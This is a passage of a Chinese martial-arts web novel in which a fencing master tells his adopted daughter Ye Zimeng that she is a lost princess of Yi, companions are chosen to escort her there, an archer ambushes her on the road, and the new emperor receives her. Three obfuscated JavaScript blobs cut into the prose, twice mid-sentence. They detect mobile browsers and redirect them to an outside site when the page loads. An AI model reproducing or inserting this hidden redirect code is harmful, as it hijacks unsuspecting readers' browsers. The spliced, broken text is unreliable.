蒋同归说到这里,就去看他脸色,见他低头不作声,算是默认,于是又继续说:“我知道,你们圣武堂这些年来对魏国也是有些功劳的,陛下已经吩咐,要你谨慎行事,妥善安排,这次送、迎公主是两国大事,我魏国宫廷出面送人,场面定要办得隆重。” “唉……”沐灏天终于叹口气,无奈地对蒋同归说,“此事说来话长,不说也罢,我一切听从安排就是……” “好!”蒋同归两个巴掌一拍,似乎终于去了一件心头之事,笑道,“我没看错,沐馆主果然是爽快之人,那这件事就简单了,你可以回去了,回去告诉家人,准备准备。” “蒋大人,告辞!”沐灏天拱手说,然后掉头出去。那些戎装卫士正要跟着他,蒋同归将手一举挡住,于是羽林军卫士马上手按腰间佩剑,对他这个府尹沉声喝道:“唔唔唔……” 被威胁的蒋同归十分为难,于是掉头朝厅堂回望去,此时厅堂帷幕后面传来一妖里妖气的陌生声音:“干嘛呢,退下!”一干羽林军卫士连忙后退让道。 然后蒋同归才将手臂一伸,恭恭敬敬地对沐灏天说:“沐馆主请……” 沐灏天刚走,厅堂内室就闪出一人,原来正是魏国宫中的许公公,蒋同归迎上去,对他说:“许公公,怎样,我就说沐馆主是个识大体的人吧,我还是了解他的。” 许公公松了一口气,说:“这下老奴就放心了,在皇上那里也可以交差了……不过,你还是得派人去盯着,以防生出变故!” 蒋同归拱手道:“这是自然,请公公放心。” 沐灏天却不知屋里说话的是何妖人,只感到十分诡谲,回去后想了一夜。这突如其来的天大变化,真搅得他措手不及、寝食难安,一幕幕往事又重新浮现出来,让他哽咽无语。 他甚至还不敢马上将此事告诉媚娘,燕儿已是他们的心肝宝贝,如果现在突然要失去这个与他们朝夕相处了十几年的女儿,他真不知媚娘该有多么地伤心? …… 沐灏天讲完这些,大家才明白。事已至此,媚娘也不知该说什么,只在那里黯然神伤;叶子萌呢,却如五雷轰顶,长时间愣在那里,半晌才说:“你……你们若不是我亲爹娘,只是养父养母,那我的亲爹亲娘又在何处?” 这,才是沐灏天最难启齿的地方。 那些腥风血雨的岁月已然过去,叶子萌跟着他们无忧无虑地长大成人,是那样地充满朝气和喜乐,而现在,若是又要将那些血腥岁月砸向这个天真无邪的少女,这无疑是十分残忍不堪的! 沐灏天十分不情愿地把头深深地垂了下去…… 叶子萌见爹爹这样难受,自己心里也隐隐作痛,她不由转向了媚娘,两眼含着泪光,百般可怜地望着她,终于忍不住,抱着媚娘开始失声痛哭。 她虽不知自己为何要哭,但是悲伤仍从心底泛出,止也止不住,就像那河堤裂开了一道缝,那汹涌的水自然就滔滔地奔涌出来。 媚娘也开始流泪,她不忍看叶子萌这样伤心,便轻轻拍着她肩头,缓缓地说:“你的亲爹就是悒国当年的皇太子,叫叶坤,枉死于暗杀,至今都未找到凶手;你亲娘就是皇太妃,之后疯了,最终也死于毒手。不过恶有恶报,这个害你母亲的皇帝,也即你的二皇叔,听说现在也已疯掉……” 叶子萌拼命咬着自己拳头,在媚娘的肩头上哭得越发伤心,她努力地想象自己亲爹亲娘的模样,可是眼前却像一团白茫茫的雾气,上面什么影像也没留有,就像一场无厘头的梦幻一般。 沐灏天等到叶子萌哭够了,这才敢抬起头来,干涩着嗓子对她说:“燕儿,这人世间本来就充满了爱恨情仇,你乃修行之人,要过得了这一关啊!” 叶子萌一听这话就联想到自己师父,她慢慢回忆起氼影尊者曾经教诲她的一言一行,知道自己身上是“境魔”已现,于是细细地品味,倒是真真切切地嚼出些什么味儿来。 她终于止住哭泣,慢慢转身进了里屋,一头栽在自己床上,抱着被子,昏昏沉沉地睡去,说实在的,她哭得太久,也真感到身心有些疲惫…… 这一睡就睡到了黄昏时分,等她醒来时,媚娘已端着一碗米粥进来,坐在她床头,把米粥递给了她。 她摇摇头,有气无力地推开那碗,轻声说道:“娘,我吃不下……”然后起身出了门,朝后院坡上走去,在那里呆呆坐着。 媚娘叹口气,随她去。 夕阳西下,映红了天边,像一抹鲜血,随着时间的过去,渐渐黯淡,叶子萌就一动不动地望着那血色残阳,一声不吭,一直枯坐着,直到深夜…… 子夜时分,天气大变,阴风嗖嗖,月亮也隐去,就像有什么怪异的事就要发生似的。 叶子萌不免感到寒噤,正想着该不该回屋,这时武馆后院的墙头忽然飘进一个暗影,在草坡那里发呆的叶子萌看得真切,身子一激灵,于是朝那暗影飞去,挡住了他的去路,轻轻喝道:“来者何人,这般鬼鬼祟祟的作甚?” 来人头戴斗笠,蒙着黑面纱,一见叶子萌,就细细地打量,瓮声瓮气地试探问道:“这位小姐姐好身手!你是这馆里的何人?” 叶子萌寻思着,没有回答他,反问道:“是我在问你,你究竟何人?” 此时虽已是子夜时分,但沐灏天和媚娘仍然没睡,因为他们担心着叶子萌,无法入睡,这时忽听外面有动静了,于是对视一眼,开门而去。 来到后院,他们借着微弱的亮光,就看见叶子萌与一蒙面人对峙,媚娘一看就着急,抽出佩剑就飞过去,直刺那人,于是两人在黑暗中就搏杀起来。 那人只是抵挡,也不真出剑,仍然瓮声瓮气地说道:“我非歹人,是有要事来找你们馆主,见了他面就可知一切……” 沐灏天一听,见这蒙面人搏杀时并不狠毒,不像是歹人,也不像白天见过的那些宫中羽羽林军卫士,全无打斗之意,于是止住媚娘,沉声喝道:“来者何人?” 那人细细看他、看慧娘,顿时改变了声音,问道:“你可是沐灏天?” 沐灏天一惊,点点头说:“正是。你……你究竟是谁?” 那人便双手一拱,道:“哎呀我的沐兄,找你找得好苦,我就是你师弟林啸啊!” 沐灏天一听这名字好熟悉,仔细一想,忽然记起,便道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885061|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀林师弟,原来是你?真的是你吗,原来你还在人世?” “哎哎沐兄,说的什么话呢?”来人正是林啸,他取掉黑面纱,走上前来,紧紧地抱住这个十几年不见的挚友,道,“我又怎么舍得死呢,咱们终于又见面了,你还好吧?” 沐灏天也紧紧地握住他双臂打量着:“哎呀,真是你啊,都快认不出来了……林师弟见谅,十多年前我曾经去过一趟悒国京城,在你住处没找着你,还以为你已经遭遇不测!” 一旁的媚娘也想起来了,说道:“原来是林兄弟,十几年不见,刚才失礼了……” 林啸对着媚娘一拜,道:“嫂子,你好!” 媚娘这时说道:“哎哎,站在这里做甚,快快进屋!” 一行人进得屋来,林啸与沐灏天和媚娘互相打量,果然没错,曾经的那些往事就扑面而来,让人唏嘘…… 这时,林啸掉头望着一旁的叶子萌,问沐灏天道:“这位就是明浩公主叶子萌吧?” 沐灏天点点头说:“是的,现在我们称她‘燕儿’,跟随我们都十几年了……” 林啸说:“明白,这真不容易啊,现在都出落成明眸皓齿的大姑娘了,要是她娘还在,那……”忽意识到什么,就打住了话头。 沐灏天也沉默起来,片刻才说:“太子案发生的第二年,我曾返回过悒国京城,本来是打算摸进宫中救出孩子她娘的,谁知还没实施行动,她娘就遭遇不测……唉,恐怕是我害了她!” 林啸听了,想了一下,说:“事情恐怕不是你想的那样,我后来打听到太子妃李慧儿其实是患了绝症,当时她大闹叶炫的登基大典时,已经命不久矣。” “哦?”沐灏天听闻后,掉头望了媚娘一眼,媚娘却把头掉开,没理他。 旁边的叶子萌仔细瞧着、听着,任何细节都不放过。 这时,沐灏天岔开话题,对叶子萌说,“快叫林叔!他当年也是你父王身边的贴身侍卫,是与我共事多年的挚友。” 叶子萌向他一拜,道:“林叔,你好!” “对了,”沐灏天这时又问,“你怎么找到我这里来了?” “唉,说来话长,你且听我慢慢与你们讲吧……”林啸坐下,喝了一口水,慢慢讲起缘由来…… 此时,门外有人正在偷听,他不是别人,却是子寻风。子寻风轻功了得,平日里就喜欢飞檐走壁,先前后院的声响惊动了他,他见是一蒙面人与师父他们讲话,又进了屋子,感到非常好奇。 联想到日前师父忧心忡忡的样子,于是好奇心甚,便去偷听,不料这一听,惊得他一把捂住自己嘴巴,然后悄悄退下。 “谁在外面?”叶子萌侧耳一听,喝道,打开门一闪身射出去,左右一看,却什么人也没有,院子里静静的。 再说子寻风,秒闪回自己住处,蹑手蹑脚地走向同住一室的西门轩,西门轩觉得有异,忽地坐起,从枕下抽出剑唰地朝他一指,差点就刺着了他的鼻梁。 一看是子寻风,西门轩将剑一收,道:“你鬼鬼祟祟作甚?” “哎呀,告诉你一个惊天消息,”子寻风睁大眼睛,咋咋呼呼地说。 “切,又来了!”西门轩不屑地说,“还惊天?狗嘴里吐不出象牙!” “你不想听?好,算我没有说过……”子寻风摆摆手,往床上一躺。 沉默中,安静得能听见虫在外面院子角落里叫。西门轩掉头看看子寻风,子寻风也正在悄悄看西门轩,两人目光相遇,西门轩终于忍不住,问道:“好吧,你赢了……说吧,什么惊天的消息?” 子寻风一下腾跳起来,唰地蹿过去,对西门轩压低嗓音窃窃地说:“你可知,咱们的燕儿妹妹究竟是谁?” 西门轩听得奇怪,也有些好奇了,问道:“是谁?” 子寻风便附在他耳边悄悄说了两句,西门轩听着听着,睁大了眼睛,望着子寻风,好像在查验他究竟是不是在说谎…… 25. 故人暗访,陪京人选 子寻风稳如泰山,可不像在玩笑,于是西门轩慢慢地又回复过来,暗道:“原来是这样……”接下去又自言自语说道,“以前存留于心头的那些谜,现在终于有了答案,这一切都解释得通了……” “哦?”子寻风问,“怎么讲?” “我以前就觉得这燕儿有些奇怪和神秘,”西门轩说,“她的武功明明很高,师父却替她遮着掩着;说是师父的女儿,却又经常不见她的身影,也不知她去了何处……” 说着说着,西门轩觉得稀奇古怪的事愈来愈多,比如听说逸风师父原来姓沐,叫沐灏天,可是燕儿妹妹现在却姓叶,叫叶子萌,而师娘呢,姓李,燕儿妹妹的生母,听说就是悒国的太子妃,好像也姓李…… 子寻风听着听着,也若有所思地点点头,然后开始仔细回忆,分析“案情”,也是愈来愈觉得什么事都不大正常了…… 还有一件事西门轩却不愿讲出来,曾经有一次,他旁敲侧击地问过燕儿一些有关她身世的事,她却装着不知,就从那次起,他再也不想去理她了,自尊心受到了损伤,这在他看来是件严重的事! 可是现在看来,这燕儿真的是什么都不知道,她的天真无邪也不是装的,原来是他误解了她,一切真相大白后,他心里反倒释然了。 不过他转念又想,若这个燕儿妹妹真是悒国的公主,不就要回到悒国皇宫了吗?今后他不就见不着她了吗?想到这里,那颗心便又沉了下去…… 他突然拎起了自己的那把剑,慢慢地往外走,子寻风见他呆头呆脑地十分怪异,一把抓住他胳膊,问道:“你做什么?” 西门轩却很不耐烦地甩开他手,子寻风大惊,一把抱住他,像箍桶似的把他箍得死死的:“你……你不会要去杀什么人吧,你这样子好古怪……” “哎呀,”西门轩努力挣开他,说道:“滚!” 子寻风见他骂人了,于是说:“对了,你这样才正常……”于是松开了他。 西门轩拎着剑慢慢走出屋子,抬头望望天,这时阴霾已散去,月光已洒了下来,他就在月光下舞起剑来,但见那把剑寒光闪闪,如游蛇一般游走在自己身子四周,且边舞剑边吟哦:“采芳洲兮杜若,将以遗兮下女;时不可兮再得,聊逍遥兮容与……” 子寻风在窗户那里望着他,觉得甚是怪异,自言自语地说道:“这又是什么鬼?他为何这般神神叨叨、又开始不正常了?” …… 再说沐灏天的屋子里,林啸讲完他这么多年来在悒国的人生际遇、以及大理寺少卿赵渊如与他商议、他来此找沐灏天的目的,然后说道:“情况就是这样,虽然现在我已被太后招募于门下,帮她查案,但毕竟我能力和职权都有限……” “等等,”沐灏天打断他,问道,“这个案子都已过去十多年,既然太后权势滔天,都未能查出,这是为何?” 林啸说:“唉,沐兄有所不知,现已渐渐查明,刑部、典签司那些人,其实早就是叶真的人了,连我们大理寺卿张廷玉,也在暗中听从叶真的,那个疯皇帝叶炫,整天只知享乐,荒淫无度,哪能是他的对手?” “太后呢?”沐灏天问。 林啸说:“太子一案,起初太后还怀疑叶炫,不断查他,结果什么都没查出来,慢慢地觉得方向不对,现在才又盯上了叶真。但是太后再有权势,也……不过,我听老相国吴大人说,太后现在要使用雷霆手段了!” 沐灏天若有所思地点点头。 林啸又说:“但是叶真就快做皇帝,若太子案与他有关,那……公主去悒国之事,就得慎重,师兄还是要早早拿些主意啊。” 沐灏天摇摇头说道:“已经迟了,蜀都府尹蒋同归已经对我讲明,悒魏两国都已交涉妥当,要举行盛大送迎公主仪式,现在就看燕儿自己的意思,这件事我们一家下来商量……对了,你来这里,没人知晓吧?” 林啸说:“除了大理寺少卿赵渊如,无人知晓……我还要连夜离开这里,以防消息泄露,节外生枝,反倒坏事!” 原来,经过当年皇太子叶坤遇刺一案,且至今都还是一桩未了的悬案,所以现在大家都变得非常谨慎,甚至有些小心翼翼了。 “那好,”沐灏天说,“我去送送你……” “不送了,沐兄,”林啸说,“以后我们兄弟有缘再会……”想起什么,又对媚娘一拜,道,“嫂子告辞!” 掉头看见叶子萌,又说:“对了,还有公主,你放心,太后至今都还在查太子案,定要找出真凶。我的住处已告诉你爹爹,你如果决定到悒国京城,到时若有事需要帮忙,可尽管来找我……” 叶子萌点点头,小声道:“我想想……” “告辞!”林啸说罢,重新戴上黑面纱,出门去了后院,一跃飞上墙头,消失在茫茫黑夜中。 翌日,“燕儿妹妹原来是悒国公主”的消息,就像长了翅膀一般,在武馆里传遍了,就连在后厨洗菜做饭的伍大婶都听说了,在与叶子萌擦身而过时,也提前闪到一旁,对她尊敬地低下头。 “大婶,你这是?……”叶子萌觉得奇怪。 伍大婶尴尬地笑笑,又快步地离去。 还有那些练功的师兄们,也不再像平时那样与她随便开玩笑,见到她时,自然而然地躬身行礼,整个武馆里的风气似已大变,这一切让叶子萌很不自在,反倒觉得彼此生疏了很多。 她平时的调皮劲儿也不知道去了哪里,倒不是因为觉得自己身份有变,而是她现在面临一个全然陌生的处境,有些手脚无措,不知该怎么办。 最使她难过的是,现在竟还要离开与自己朝夕相处的爹爹和娘亲,离开这些相处甚好的师兄师妹,千里迢迢地到一个全然陌生的地方去,一想到这就有些扎心,泪水儿也忍不住在眼眶里打起转儿来…… 她忍不住在心里想,什么公主不公主的,那种锦衣玉食的生活她一点不稀罕,宁愿与自己爹爹娘亲、以及武馆里的师兄师姐们厮守在一起,宁愿去深山练功,过这种她早已熟悉的、自由自在的生活! 不过,她也是无比聪慧的女子,知道事关重大,很多事并不是她一人能左右的,她也不想连累爹爹和娘亲以及武馆,这两天,武馆周围多了不少陌生面孔,将武馆团团围住,似乎都与此事有关? 另外,她以前就曾想去悒国京城看看,但爹爹阻止了她,现在她才明白爹爹为何要阻止她……不过,她亲生父母的死,现在已牵动她的心弦和勾起她的牵挂,忽就想去查访查访,这其中是怎么回事,究竟是谁害死了他们?为何要害死他们? 就这样,一个天真无邪的少女,当她开始重新面临一个新的、陌生而复杂的未来时,就不由自主地被卷进了这个命运的漩涡,也不得不去思忖未来的种种,寻思着这路该如何继续走下去。 过了几日,蜀都府尹蒋同归带着一队官差,亲自来了圣武堂,与沐灏天商议起程的吉日,见到叶子萌,就恭恭敬敬地一拜:“下官拜见公主殿下……” 叶子萌装着没看见,把头扭向另一处。蒋同归也不在意,掉头对沐灏天说:“还有五日就是八月初一,中秋已经临近,上面在催了,说就定在八月初一启程,你们准备一下,如何?” 沐灏天点头说道:“我已与燕儿……哦,已与公主商议,她答应回悒国,不过,我们有个小小的要求,你看……” 蒋同归大喜,道:“你说,你说!” 沐灏天说道:“公主年龄尚小,又从未去过悒国,人生地不熟的,觉得太生分,于是我们想让几个师兄妹陪她一同前往,在异地陪着她。” 蒋同归想想,痛快地说道:“倒也是,我看这问题不大,我回去禀报一声就是,你们准备准备,八月初一巳时宫中准时来人,一并出发。” “嗯。”沐灏天点点头,松了一口气。 府尹蒋同归一走,沐灏天掉头对媚娘说:“你看,让谁跟着燕儿……哦,跟着子萌去悒国呢?” 慧娘说:“还是你定吧,总之应该选成熟、机灵、武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885062|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功好点的……” “那就让西门轩和子寻风一道去,西门轩成熟稳重,子寻风机灵、轻功好。” 媚娘马上说:“还要选两个女的,你不知道,生活起居这些事,身边还是要有女的陪着才方便,我看静香就不错,乖巧、贴心,功夫也好……” 沐灏天点点头说:“还是你想得周到,另一个呢,谁适合?” 一旁的叶子萌插话道:“选云媃师姐吧,她虽然有些大大咧咧,但只要有她在,就热闹,不寂寞。” 沐灏天皱眉笑道:“你就知道好玩,好好好,就依你!” …… 其实,这个问题头天晚上叶子萌就找到媚娘相商过。少女的敏感,一般还是很准的,叶子萌直觉西门轩对她有意,但她对他没什么特殊的感觉。 她羞羞答答把这件事告诉给了媚娘,媚娘就笑,说:“其实我和你爹爹都看出来了,你这次若去悒国,你爹爹还打算让他和其他人陪着你去,说他人稳重,经验丰富呢。怎么,你不喜欢?” 叶子萌红着脸,娇嗔道:“不喜欢,表面光鲜,实际古里古怪,再说,人家云媃早就在暗恋他了,当初云媃托人硬要来武馆学武,就是因为倾慕他,你们不知道吗?” “哦?”媚娘摇摇头,“这我倒不清楚。” “所以,”叶子萌摇着头说,“这次爹爹若要叫上西门轩,那就必须也叫上云媃师姐,让云媃师姐管着他!” 媚娘不由得扑哧一笑,用手指戳了一下叶子萌的脑门:“你呀,还是人家西门轩古里古怪,我看你才是精灵古怪!” …… 叶子萌见爹爹答应了,便掉头与媚娘对视一眼,两人会心一笑。 在武馆后面叶子萌常去的那个草坡上,现在是西门轩坐在了那里,这两天他变得有些奇怪,尤其是听说叶子萌要离开武馆去悒国了,他竟有些心神不宁起来,连自己也开始觉得异常了,正应了叶子萌形容他的“古里古怪”。 正在他发呆时,子寻风忽然跑来喊道:“西门兄,师父叫你来一下!” 西门轩回过神来,与子寻风一起去了沐灏天那里,问道:“师父,何事?” 沐灏天望着他俩,沉思片刻,说道:“唉,还是告诉你们吧,燕儿的名字叫叶子萌,你们以后就照这名字称呼她吧,不要再叫燕儿了……”说到这里欲言又止。 “叶……子……萌……”西门轩念着,掉头瞟了一眼子寻风,子寻风点点头,没有吱声,静静等待着。 沐灏天又说:“现在,她就要去悒国她皇祖母那里,我已征得你们师妹云媃和静香的同意,让她俩陪着一同前往。另外,你俩武功好,我也想征求你俩的意见,可否愿意护着她一同去悒国,以后大家也好有个照应?” 西门轩一听,顿时就像有一股真气从脚跟那里升起,瞬间充溢了全身,他马上爽快地说:“请师父放心,赴汤蹈火,在所不辞!” 旁边的子寻风也斩钉切铁地说:“师父放心,就是拼了命……” 沐灏天挥挥手打断了他们,说:“哎哎,看你们两人说的,又不是去什么虎狼之地,这件事也是好事,没必要弄得这么紧张好不好?” 子寻风一听,这才尴尬地笑笑:“是是,师父提醒得对。” 西门轩却补了一句:“出门在外,还是多留心一些为好……” 他就是稳重,沐灏天想。 沐灏天离开后,子寻风就瞟了一眼西门轩,笑道:“哎,还记得吗?采芳洲兮杜若,将以遗兮下女;时不可兮再得,聊逍遥兮容与……” 西门轩愣了一下,马上正经地说:“寻风兄,你可别瞎猜哈,我没你想的那啥意思哈,这次前去,保护燕儿……哦,保护子萌妹妹才是正事!” 子寻风笑道:“我说了什么吗?你心虚什么?” “滚!”西门轩骂一句,不再理会他,掉头而去。 子寻风瞅着他背影,坏笑着补了一句:“哼,瞧你这德性!” …… 26. 辞别爹娘,途遇暗箭 八月初一转瞬即到,叶子萌早晨起来,由媚娘亲自替她梳妆,她眼里泛着泪光,细细地体验着被娘亲呵护的感觉;媚娘也很难过,梳着梳着,眼泪也开始在眼眶里打转。 “娘亲,”叶子萌忽抬头望着她,犹豫着说,“我能否不去了,就留在你们身边……” “傻孩子,”媚娘噙着泪水,强装笑脸说道,“你以前不是吵着要去悒国的京都玩吗?再说,你以后若是想你爹爹和娘亲了,也可以随时回来看望我们呀,这里还是你的家!” “嗯……”叶子萌噙着泪水点点头。 收拾停当出屋子去,院里,将陪叶子萌一同前去悒国的云媃、静香以及西门轩、子寻风早在那里等候,沐灏天正在对他们交代诸般事宜。 正在这时,顾影寒跑来,气喘吁吁地说:“师父,宫里的护卫队伍来了,那辇轿又大又漂亮,大门外面已涌来好多看热闹的人……” 沐灏天领着叶子萌一行人出了武馆大门,果然见到门外停了一乘粉色的八抬凤冠辇轿,轿身粉幔翠盖,轿顶四角挂着淡黄丝穗;辇轿前后,均有若干兵马护卫,还有着官服的魏国礼部官员,辇轿两侧也有侍女和护卫,前面熊虎为旗,后面凤鸟为旂,旌旗飘摇,队伍阵容颇为浩大,昭示着魏国的强盛和对临国的友好…… 府尹蒋同归也来了,对沐灏天说:“请公主上轿吧。” 街道两旁,挤满了前来观睹悒国公主的魏国黎民百姓,也有不少官家小姐,以前是来目睹圣武堂里西门轩等美少侠的,现在听说馆主之女的真实身份,原来竟是悒国的公主,更是惊讶得不能把持,都蜂拥而来,要一睹为快。 西门轩和子寻风骑上马,策马扬鞭往前紧跑几步,人群里就骚动起来,叶子萌由云媃和静香两个师姐簇拥着款款上轿,人群就传出更大的喧哗和议论…… 但见此时的叶子萌清丽秀气,稚气未脱,身披白色纱衣,如一朵洁白的莲花款款摇曳,而这步态是她慧娘这几日悉心教会她的,告诫她今后到了宫中,行走坐卧都要有个公主样,这让顽皮惯了的叶子萌颇不习惯。 她忍不住在嘴里嘟囔着说:“娘亲教的这种步态,真不习惯……” 旁边的云媃悄悄对她说:“我的好妹妹,你就忍一忍吧,那么多人都看着呢……” 少顷,上了凤冠辇轿,队伍终于出发,叶子萌在轿里掀开窗帷,掉头望着沐灏天和慧娘,眼泪汪汪地与他们挥挥手告了别…… 送别女儿后,媚娘返回武馆屋里,关上门,就在那里捂着脸啼哭,沐灏天也推门进去,然后坐在床边,任由泪水淌了下来。 “怎么办?”媚娘抬起头,泪眼朦胧地望着他。 此时的沐灏天心乱如麻,良久才吐出一句:“走一步算一步吧,对子萌来说,也许这才是她应该走的路呢。” 是啊,整整十六年了,当初他俩带着襁褓拼死从悒国逃到魏国时,怎会想到还有今天,又会亲自把孩子从魏国送回悒国呢? …… 从魏国蜀都去悒国京都,由于队伍庞大,人员众多,马车马匹紧赶慢赶,也会有好些天的路程,之前沐灏天就给西门轩等人叮嘱过,一路都要打起精神,以防古怪。 其实,除西门轩和子寻风,其他两名陪伴叶子萌的云媃和静香,来圣武堂学武功已有两年时间,同样也是武功高强,再加上叶子萌这个看似天真稚嫩、武学却达到极高境界的女少侠,那真要相当于一个能战胜千百蟊贼的霸气小军团了! 不过,久经沙场的沐灏天,毕竟见过很多世面,深谙江湖险恶,于是特别叮嘱叶子萌,让其在外时一般情况还是不要显山露水,能够装成柔弱的“乖乖女”,就决不扮成厉害的“女少侠”。 …… 另一边,悒国京都的千寿宫里,太后端坐着,李公公站在一旁,这时凤仪女官米莲匆匆进来,太后一见她就问:“有消息了吗?” 米莲禀报说:“有飞鸽传书来报,明浩公主一行昨日巳时已启程。” “护卫有多少?”太后问。 米莲迟疑一下,说:“魏国派官员和护卫一路同行,人数具体是多少没说。” 太后思忖片刻,向旁边的李公公示意一下,李公公连忙碎步过来,躬下身子,太后就在他耳边如此这般地悄悄说了一通。 “老奴领命。”李公公点点头,然后快速地退了出去。 …… 傍晚,护送公主的队伍紧赶慢赶,终于到达驿站,此时夜已很深,用过膳再回住所,刚回院子,树林的树梢上忽惊起一群乌鸦,扑腾着飞得老高,在淡淡月影中翻飞。 西门轩和子寻风立刻警觉地站起,拔剑环顾四周,天已渐黑,四周昏蒙一片,无有人影,但他们不敢放松警惕,开始四处查看。 叶子萌与云媃、静香也从圆门处进到院子,叶子萌四处环顾,驿站墙头那边就是黑黢黢的山影,但是迷迷糊糊地什么也看不清楚。 此时,墙外三百米开外的山坡,一处陡而隆起的岩石背后,一个黑影正躲藏在那里,左手握大弓,右手拉开一根三棱铜箭镞,借着下方驿站一处院子廊柱吊灯的微弱灯光,屏息敛气地找寻并瞄准着目标…… 这么远的距离,人小如弹丸,又是在夜晚,仅凭一点微弱火光,那三棱箭镞就能呼啸而去,穿过密林中无数枝丫叶片,射中目标,那定是一等一的箭道高手了! 正在黑影要开弓放箭的瞬间,旁边忽有另一黑影腾空而起,从背后一剑刺来,箭道高手耳闻风声,手微微一抖,箭已射出,旋即转身用弓一挡,提脚就纵上树梢。 公主这边的院子,忽听一声呼啸,一只箭就飞来,警觉的叶子萌耳朵一听,将头往后一仰,箭就擦着她的胸前飞过,当地一声射在一树干上,只听嚓地一声,那根碗口粗的小树干就断裂了。 西门轩惊叫一声:“当心!”掉头一看,提着剑就跃过墙头,朝那暗箭飞来的山坡方向腾空而去,叶子萌也喊了声“当心”,见不再有声响,于是从树叉中拔出那只三棱铜箭镞,仔细察看。 子寻风与云媃、静香也围上来,云媃去拿箭镞观看、嗅闻,叶子萌提醒道:“小心,这箭恐有毒!先把它收起来……” 再说西门轩,提剑飞去,却见两三百米外的山坡树丛中,有两团黑影正在搏杀,身形闪腾得令人眼花缭乱,西门轩弄不清情况,于是伏在树后悄悄窥探。 这时,只见其中一黑影“啊”地叫了一声,手里的弯弓飞出三丈之外,然后捂住左臂就跑,另一黑影提脚就追去,瞬间没有了影儿。 一切又寂静无声,就像从没发生过何事似的,唯有那杆弯弓还挂在那棵树的枝丫上,轻轻地晃动着。 西门轩三脚并作两步地腾跳过去,迅速将弓取下细看,然后带回弓返身回到驿站院子,进得屋去,告诉了大家刚才他看到的情景。 一旁的子寻风取过弯弓,又拿来那只毒箭,将箭搭在弓上,用力拉拉,道:“劲道不小,怕有三担,那么远射来,树干都被射断,人若是中箭,还不魂飞魄散?” “好厉害!射箭行刺的究竟是何人?”西门轩沉吟道,“刺伤他的那人又是谁?这一等一的箭手显然是针对公主而来,莫非也有人在暗中保护公主?” 子寻风说道:“此一路定有人尾随,会不会是师父也在暗中保护?” 西门轩道:“我观察刺伤箭手的那人,身材虽不修长,行动却矫健敏捷,舞剑的招数非常陌生,不像是师父,再说路途遥远,我们临行时师父就特别叮嘱,应该不会跟随。” “那会是谁呢?”云媃说,“这事果真像师父所说的那样,古怪!” 正在这时,门外走廊一阵急促的脚步声,大家扭头一看,魏国的一行护卫就冲了进门,西门轩、子寻风与云媃、静香大惊失色,唰地抽出刀剑,护住了叶子萌。 对方的护卫头目连忙拱手道:“公主别误会,我们是听说驿站附近可能出现了刺客,所以前来护驾,你们这里有无可疑情况?” “哦,没事,”叶子萌说,示意西门轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885063|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等人放下刀剑,然后对护卫头目说,“我们这没有什么情况,你们先去别处看看吧。” “是。”护卫头目朝手下挥挥手,退出门,又朝别处搜寻去了。 一会儿,外面又安静下来,什么动静也没有了。 “你为何不把有刺客的事告诉魏国护卫?”云媃问。 叶子萌回答道:“现在情况未明。” 周围的人不解地望着她。 这时叶子萌又说道:“好了,大家不去猜了,有刺客行刺这件事,大家也不要向外声张,以后再查不迟。今晚大家就轮流值守,尽早休息,明日还要赶路……” 西门轩和子寻风点点头,退出门,回到隔壁房间去。 …… 两日后,护卫明浩公主的长长队伍过了边关,终于到了悒国的京都城门外,早有飞马提前去报,这时京都城门外已摆好隆重的迎接场面。刚登基的悒国皇帝叶真竟然亲自携带刘皇后和嫔妃、及皇子叶永和公主叶远前来迎接,还有其他朝中大臣,也跟着前来。 场面大且隆重,颇有考究,一是明浩公主是前皇太子的骨肉,失而复得是件大事,以示新皇十分重视;二是魏国送回公主,悒国作为泱泱大国,排场要摆够,以显大国风范;三是凡太后交代的事,定要加倍做好……尤其最后一点,最为重要! 魏国使臣与悒国礼部司交接完毕,盖上大印,叶子萌便从凤冠辇轿下来,上前对悒国皇帝叶真拱手施礼:“陛下……” “哎哎,”叶真连忙将她扶着,点头微笑道,“叫我皇叔即行,今天恭迎明浩公主归来,公主看上去明眸皓齿,气度不凡,不愧是我悒国皇室的嫡系血脉,回来就好,回来就好!” “多谢皇叔!”叶子萌款款回礼。 叶真还在继续细细打量叶子萌,叶子萌也抬眼去看他,四目相对的霎那间,那目光就像剑光相撞一般,似还听出些微的铿摪碎响。 叶真感到心头莫名一震,他连忙掉开目光,叫来皇后皇子公主等一干人,给叶子萌一一介绍,那小小年纪的皇子叶永和公主叶远,倒显得天真可爱,十分好奇地望着叶子萌,裂开稚嫩的小嘴微笑起来,说:“拜见公主姐姐!” 叶子萌也点着头,对他俩微微一笑。 